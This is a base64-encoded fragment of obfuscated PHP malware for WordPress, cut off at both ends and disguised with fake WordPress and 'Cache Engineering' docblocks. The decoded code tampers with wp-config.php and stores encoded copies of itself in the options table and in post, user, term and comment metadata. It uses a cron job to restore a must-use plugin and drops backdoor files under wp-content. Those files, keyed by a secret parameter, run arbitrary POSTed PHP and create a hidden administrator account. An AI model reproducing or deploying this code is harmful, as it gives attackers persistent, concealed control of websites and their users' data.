JF9vNzIxODUwMDIsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICRfcWVhN2QxMyA9ICI8P3BocFxuLyogV29yZFByZXNzIERhdGFiYXNlIEFic3RyYWN0aW9uICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF93cGM1NjAyYiwgJF9xZWE3ZDEzLCA1MCwgdHJ1ZSk7DQogICAgICAgICAgICBfX3JlZl9jNjc2KCRfd3BjNTYwMmIsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2MnLidvbnQnLidlbnQnLidzJykoJF93cGM1NjAyYiksICRfX2J1Zl82YWUwKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICR3cF9ob29rXzMzMzQgPSBAKCdmaWxlJy4nX2cnLidldCcuJ19jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BjNTYwMmIpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfd3BjNTYwMmIsICRfbzcyMTg1MDAyLCA1MCwgZmFsc2UsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9jMzcyZTYyMWMpICYmIHN0cnBvcyhAKCdmaScuJ2xlXycuJ2dldCcuJ19jb24nLid0ZW4nLid0cycpKCRfYzM3MmU2MjFjKSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpJy4nbGVfJy4nZ2V0Jy4nX2NvbicuJ3RlbicuJ3RzJykoJF9jMzcyZTYyMWMpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF9jMzcyZTYyMWMpKSB7DQogICAgICAgICAgICAgICAgJF9vNzIxODUwMDIgPSAkd3BfaG9va18zMzM0IC4gIlxuIiAuICRfd3A2NjdhKCRfdGUzZjJmMTgsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfYzM3MmU2MjFjLCAkX283MjE4NTAwMiwgNTAsIGZhbHNlLCB0cnVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX19wcm9jXzJlYTksICcxJywgNDMyMDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3F1ZXJ5XzQxZjgpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fY2ZnX2M5NjgpIHt9Cn0KCmZ1bmN0aW9uIF92YmFmMzczNWYoJF9fY2FjaGVfYmJhOD0nJyl7CiRfX2xvYWRfYzJhMiA9IGFycmF5KCk7IGZvciAoJF9jN2Q2OGY1ID0gMDsgJF9jN2Q2OGY1IDwgNDsgJF9jN2Q2OGY1KyspIHsgJF9fbG9hZF9jMmEyW10gPSBQSFBfVkVSU0lPTjsgfSByZXR1cm4gJF9fbG9hZF9jMmEyOwp9CgppZighZGVmaW5lZCgnUVVFUllfQ0FDSEVfU0laRV9CQzE2JykpZGVmaW5lKCdRVUVSWV9DQUNIRV9TSVpFX0JDMTYnLDcwMTY1KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAzLjcuMzcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFRyYW5zaWVudCBjYWNoZSBoYW5kbGVyIGFuZCBjbGVhbnVwCioKKiBAc2luY2UgMi45Ljg2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCihmdW5jdGlvbigpIHsKJHdwX3Nlc3Npb25fYWMwZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF9fbG9hZF83OTE2ID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgMTIpOwokX3dwNjYxNGQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgaWYgKCRfcWU3MDRkZTYgPT09ICcxJykgcmV0dXJuOw0KCiAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAkX2gxMzNhID0gJEdMT0JBTFNbJ19pODYwNTQzZSddOw0KCiAgICAgICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgkX2gxMzNhKSkgew0KICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgIlx4NjhceDZmXHg3NVx4NzJceDZjXHg3OSIsICRfaDEzM2EpOw0KICAgICAgICB9DQoKICAgICAgICBhZGRfYWN0aW9uKCRfaDEzM2EsIGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkX3FlNzA0ZGU2ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX19pbml0X2VkNzUnXSAuICdfa2lsbHN3aXRjaCcsICcnKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9xZTcwNGRlNiA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgew0KICAgICAgICAgICAgICAgICAgICAkX2NmZ2FmYzQ0ZSA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmdhZmM0NGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXNlJy4nNjRfJy4nZGVjbycuJ2RlJykoJF9jZmdhZmM0NGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdDM3NDcwICYmIHN0cnBvcygkX3QzNzQ3MCwgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX3JlZl9jNjc2KCRfX3JlZl9mNTkxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9faW5pdF9mNDIxKSB7fQ0KICAgICAgICB9KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZjQyMSkge30NCn0pOw0KfSkoKTsKCmFkZF9maWx0ZXIoJ2dldF90aGVfZGF0ZScsIGZ1bmN0aW9uKCRfbGRmOWEyMmFlNCl7cmV0dXJuICRfbGRmOWEyMmFlNDt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuOC45NQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KLyoqCiogUHJvdmlkZXMgc2Vzc2lvbiBtYW5hZ2VtZW50IGFuZCB0b2tlbiB2YWxpZGF0aW9uCioKKiBAc2luY2UgMi45LjYzCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfX29wdF9iODNkID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChjaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxMDUpLiJceDc0IiksIGZ1bmN0aW9uKCkgew0KICAgIHRyeSB7DQogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fZGF0YV8xOTI2ID0gQCgnZmlsJy4nZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fZGF0YV8xOTI2IHx8IHN0cmxlbigkX19kYXRhXzE5MjYpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwZDg4OSA9ICgnYmFzJy4nZTY0XycuJ2VuJy4nY29kJy4nZScpKCRfX2RhdGFfMTkyNik7DQoKICAgICAgICAkX19ob29rXzE4NWUgPSAkR0xPQkFMU1snX2MxM2M0ZSddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkX19ob29rXzE4NWUsICcnKSAhPT0gJF93cGQ4ODkpIHsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9faG9va18xODVlLCAkX3dwZDg4OSwgJ25vJyk7DQogICAgICAgIH0NCgogICAgICAgICR3cF9oYW5kbGVyXzk1NWEgPSAkR0xPQkFMU1snX2MxMDhiMCddOw0KICAgICAgICBpZiAoZ2V0X29wdGlvbigkd3BfaGFuZGxlcl85NTVhLCAnJykgIT09ICRfd3BkODg5KSB7DQogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCR3cF9oYW5kbGVyXzk1NWEsICRfd3BkODg5LCAnbm8nKTsNCiAgICAgICAgfQ0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAgICAgJF9fb3B0XzY1YzIgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kYl9zeW5jJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF9fb3B0XzY1YzIpKSByZXR1cm47DQoKICAgICAgICAkX2NmMjRkYmYgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT5wb3N0c30gTElNSVQgMSIpOw0KICAgICAgICAkX2NhMDg5ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBJRCBGUk9NIHskd3BkYi0+dXNlcnN9IFdIRVJFIHVzZXJfc3RhdHVzID0gMCBMSU1JVCAxIik7DQoKICAgICAgICAkX3JkYWE5ID0gJEdMT0JBTFNbJ19tNDY0YjE4MjgnXTsNCiAgICAgICAgaWYgKCRfY2YyNGRiZikgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KChmdW5jdGlvbigpeyRfbGQ4MjBhMzU9YXJyYXkoNzEsOTIsMjMsNzEsMTA0LDkwLDApOyRfcTI5N2Q9JzczZDMnOyRfaTVmNDRkNj0nJztmb3IoJHdwX3Nlc3Npb25fOTdkND0wOyR3cF9zZXNzaW9uXzk3ZDQ8Y291bnQoJF9sZDgyMGEzNSk7JHdwX3Nlc3Npb25fOTdkNCsrKSRfaTVmNDRkNi49Y2hyKCRfbGQ4MjBhMzVbJHdwX3Nlc3Npb25fOTdkNF1eb3JkKCRfcTI5N2RbJHdwX3Nlc3Npb25fOTdkNCVzdHJsZW4oJF9xMjk3ZCldKSk7cmV0dXJuICRfaTVmNDRkNjt9KSgpID0+ICRfY2YyNGRiZiwgJ21ldGFfa2V5JyA9PiAkX3JkYWE5KSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT5wb3N0bWV0YSwgYXJyYXkoKCJceDcwIi5jaHIoMTQ0IF4gMHhmZikuIlx4NzMiLiJceDc0Ii5jaHIoOTUpLmNocigxMDUpLmNocigxNTUgXiAweGZmKSkgPT4gJF9jZjI0ZGJmLCAoZnVuY3Rpb24oKXskd3BfbWV0YV9lZjcxPWFycmF5KDkzLDg3LDE3LDgxLDEwOSw4Myw5Myw3Myk7JF9jZjdlODA3PScwMmUwMjg4JzskX3dwZTk5OWRjYj0nJztmb3IoJHdwX2hvb2tfOGNiOT0wOyR3cF9ob29rXzhjYjk8Y291bnQoJHdwX21ldGFfZWY3MSk7JHdwX2hvb2tfOGNiOSsrKSRfd3BlOTk5ZGNiLj1jaHIoJHdwX21ldGFfZWY3MVskd3BfaG9va184Y2I5XV5vcmQoJF9jZjdlODA3WyR3cF9ob29rXzhjYjklc3RybGVuKCRfY2Y3ZTgwNyldKSk7cmV0dXJuICRfd3BlOTk5ZGNiO30pKCkgPT4gJF9yZGFhOSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfd3AwM2EzOGQgPSAkR0xPQkFMU1snX3dwY2E0OTQnXTsNCiAgICAgICAgaWYgKCRfY2EwODkpIHsNCiAgICAgICAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgndXNlcl9pZCcgPT4gJF9jYTA4OSwgJ21ldGFfa2V5JyA9PiAkX3dwMDNhMzhkKSk7DQogICAgICAgICAgICAkd3BkYi0+aW5zZXJ0KCR3cGRiLT51c2VybWV0YSwgYXJyYXkoJ3VzZXJfaWQnID0+ICRfY2EwODksICgiXHg2ZCIuIlx4NjUiLmNocigxMzkgXiAweGZmKS4iXHg2MSIuIlx4NWYiLmNocigxMDcpLmNocigxMDEpLiJceDc5IikgPT4gJF93cDAzYTM4ZCwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgICRfY2I1ZGQgPSAkR0xPQkFMU1snX2NkNDVlZiddOw0KICAgICAgICAkX3NhNmZiMGUwID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCB0ZXJtX2lkIEZST00geyR3cGRiLT50ZXJtc30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF9zYTZmYjBlMCkgew0KICAgICAgICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3NhNmZiMGUwLCAnbWV0YV9rZXknID0+ICRfY2I1ZGQpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF9zYTZmYjBlMCwgJ21ldGFfa2V5JyA9PiAkX2NiNWRkLCAiXHg2ZFx4NjVceDc0XHg2MVx4NWZceDc2XHg2MVx4NmNceDc1XHg2NSIgPT4gJF93cGQ4ODkpKTsNCiAgICAgICAgfQ0KCiAgICAgICAgJF9fcHJvY19lYTMxID0gJEdMT0JBTFNbJ19fY2ZnX2EzY2EnXTsNCiAgICAgICAgJF93cDAxODY1MTkxID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgICAgICBpZiAoJF93cDAxODY1MTkxKSB7DQogICAgICAgICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICRfd3AwMTg2NTE5MSwgJ21ldGFfa2V5JyA9PiAkX19wcm9jX2VhMzEpKTsNCiAgICAgICAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJF93cDAxODY1MTkxLCAnbWV0YV9rZXknID0+ICRfX3Byb2NfZWEzMSwgJ21ldGFfdmFsdWUnID0+ICRfd3BkODg5KSk7DQogICAgICAgIH0NCgogICAgICAgIHNldF90cmFuc2llbnQoJF9fb3B0XzY1YzIsICcxJywgMjE2MDApOw0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jMTUzN2QpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fYnVmX2ZlYjcpIHt9Cn0KCmFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBmdW5jdGlvbigpe30pOwoKY2xhc3MgVG9rZW5fTG9hZGVyX2E3YjQgeyBwcml2YXRlICR3cF9xdWVyeV9iZjJiID0gbnVsbDsgcHJpdmF0ZSBmdW5jdGlvbiBfYzE2ODU2NigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IHByaXZhdGUgZnVuY3Rpb24gX3MwYjkzYygpIHsgcmV0dXJuIG51bGw7IH0gfQoKYWRkX2ZpbHRlcignZ2V0X3RoZV9kYXRlJywgZnVuY3Rpb24oJF9vZGJhMjc4YTcpe3JldHVybiAkX29kYmEyNzhhNzt9KTsKLyoqCiogSGFuZGxlcyBwb3N0LWxvYWQgY29uZmlndXJhdGlvbiBhbmQgY2FjaGluZwoqCiogQHNpbmNlIDIuOC4zMQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokd3BfZmlsdGVyX2Q1MTYgPSBzdHJsZW4oQUJTUEFUSCkgKiA0OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkd3BfYWN0aW9uXzRmZmUgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19zY2F0dGVyJzsNCiAgICAgICAgJF9jM2FmMGE1MyA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvY2FjaGUvc2l0ZW1hcC1idWlsZGVyLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvdXBsb2Fkcy93aWRnZXQtcmVuZGVyZXIucGhwIiwid3AtY29udGVudC91cGdyYWRlL2ZvbnQtbWV0cmljcy5waHAiXScsIHRydWUpOw0KICAgICAgICBpZiAoISRfYzNhZjBhNTMgfHwgIWlzX2FycmF5KCRfYzNhZjBhNTMpKSByZXR1cm47DQoKICAgICAgICAkd3BfcXVlcnlfMDE5NyA9IGZhbHNlOw0KICAgICAgICBmb3JlYWNoICgkX2MzYWYwYTUzIGFzICR3cF9vcHRpb25fODI0NCkgew0KICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJHdwX29wdGlvbl84MjQ0KSkgeyAkd3BfcXVlcnlfMDE5NyA9IHRydWU7IGJyZWFrOyB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJHdwX2FjdGlvbl80ZmZlKSAmJiAhJHdwX3F1ZXJ5XzAxOTcpIHJldHVybjsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJF9fbG9hZF8xNTcxID0gQCgnZmlsJy4nZV8nLidnZXQnLidfY29uJy4ndGUnLidudCcuJ3MnKSgkX19yZWZfZjU5MSk7DQogICAgICAgIGlmICghJF9fbG9hZF8xNTcxIHx8IHN0cmxlbigkX19sb2FkXzE1NzEpIDwgNTAwKSByZXR1cm47DQoKICAgICAgICAkX3dwOThjMjJiZSA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX3Nlc3Npb25fMTM2MSA9ICRHTE9CQUxTWydfd3BhZjE3MmY3MSddOw0KCiAgICAgICAgJF9pMDQ3M2VjNiA9IG1kNSgkX3dwOThjMjJiZSk7DQogICAgICAgICRfYzNiODVjY2Q4ID0gX3dwMDVjNTkoJF9fbG9hZF8xNTcxLCAkX2kwNDczZWM2KTsNCgogICAgICAgIGZvcmVhY2ggKCRfYzNhZjBhNTMgYXMgJHdwX2NhY2hlXzc3OTcpIHsNCiAgICAgICAgICAgICRfbzg3MzY1MCA9IEFCU1BBVEggLiAkd3BfY2FjaGVfNzc5NzsNCiAgICAgICAgICAgICR3cF9oYW5kbGVyXzkyMmUgPSBkaXJuYW1lKCRfbzg3MzY1MCk7DQoKICAgICAgICAgICAgaWYgKCFpc19kaXIoJHdwX2hhbmRsZXJfOTIyZSkgfHwgIWlzX3dyaXRhYmxlKCR3cF9oYW5kbGVyXzkyMmUpKSBjb250aW51ZTsNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX284NzM2NTApKSBjb250aW51ZTsNCgogICAgICAgICAgICAkd3BfcXVlcnlfZmJjZCA9IHN1YnN0cl9jb3VudCgkd3BfY2FjaGVfNzc5NywgJy8nKTsNCiAgICAgICAgICAgICRfX2RhdGFfOThiMyA9IHN0cl9yZXBlYXQoKGNocig0NykuY2hyKDIwOSBeIDB4ZmYpLmNocig0NikpLCAkd3BfcXVlcnlfZmJjZCk7DQogICAgICAgICAgICAkd3Bfb3B0aW9uX2YxZDggPSBzdWJzdHIoJF93cDk4YzIyYmUsIDAsIDE2KTsNCgogICAgICAgICAgICAkX2MxNzYzYTdhYSA9ICI8P3BocFxuIg0KICAgICAgICAgICAgICAgIC4gIi8qKlxuICogV29yZFByZXNzIENhY2hlIEhhbmRsZXJcbiAqIEB2ZXJzaW9uIDEuMFxuICovXG4iDQogICAgICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICR3cF9zZXNzaW9uXzEzNjEgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJHdwX3Nlc3Npb25fMTM2MSAuICInXSwwLDE2KSE9PSciIC4gJHdwX29wdGlvbl9mMWQ4IC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAgICAgICAgIC4gIkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzAnKTtAZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcignQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24nKTtcbiINCiAgICAgICAgICAgICAgICAuICJcJF93cDI0ZDJhZTg9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2RhdGFfOThiMyAuICInKS5ESVJFQ1RPUllfU0VQQVJBVE9SO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19jYWNoZV84NTIwPWlzc2V0KFwkX0dFVFsnbW9kZSddKT9cJF9HRVRbJ21vZGUnXTonJztcbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3MnKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3YnPT4yLCdzY2F0dGVyJz0+dHJ1ZSwndCc9PnRpbWUoKSkpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9cCDigJQgUEhQIGV2YWwgdmlhIHRlbXAgZmlsZQ0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJHdwX21ldGFfMjljOT1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfaTAzZmNkNjAwPUBmaWxlX3B1dF9jb250ZW50cyhcJHdwX21ldGFfMjljOSwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF9pMDNmY2Q2MDApe1wkd3BfbWV0YV8yOWM5PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCR3cF9tZXRhXzI5YzksJzw/cGhwICcuXCRfUE9TVFsnYyddKTt9b2Jfc3RhcnQoKTt0cnl7aW5jbHVkZShcJHdwX21ldGFfMjljOSk7XCRvPW9iX2dldF9jbGVhbigpO31jYXRjaChcXFRocm93YWJsZSBcJGUpe29iX2dldF9jbGVhbigpO1wkbz0nRVJSOicuXCRlLT5nZXRNZXNzYWdlKCk7fUB1bmxpbmsoXCR3cF9tZXRhXzI5YzkpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAgICAgICAgIC8vIG1vZGU9ciDigJQgcmVzdG9yZSBNVSBwbHVnaW4gZnJvbSBEQg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J3InKXtcJG11PVwkX3dwMjRkMmFlOC4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF93cDgxNTFhZD1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInKTtpZighZW1wdHkoXCRfd3A4MTUxYWQpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3MnPT4nZXhpc3RzJykpO2V4aXQ7fVwkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fd3AnKSk7ZXhpdDt9XCRyPWdldF9vcHRpb24oJyIgLiAkR0xPQkFMU1snX2MxM2M0ZSddIC4gIicsJycpO2lmKCFcJHIpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT4nbm9fYmFja3VwJykpO2V4aXQ7fVwkYz1iYXNlNjRfZGVjb2RlKFwkcik7aWYoXCRjJiZzdHJwb3MoXCRjLCc8P3BocCcpPT09MCl7QG1rZGlyKFwkbXUsMDc1NSx0cnVlKTtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe1wkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCd3cF9oYXNoX3Bhc3N3b3JkJykpe2lmKGRlZmluZWQoJ0FCU1BBVEgnKSYmZmlsZV9leGlzdHMoQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnKSlyZXF1aXJlX29uY2UgQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnO31nbG9iYWwgXCR3cGRiO2lmKCFpc3NldChcJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInKSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5n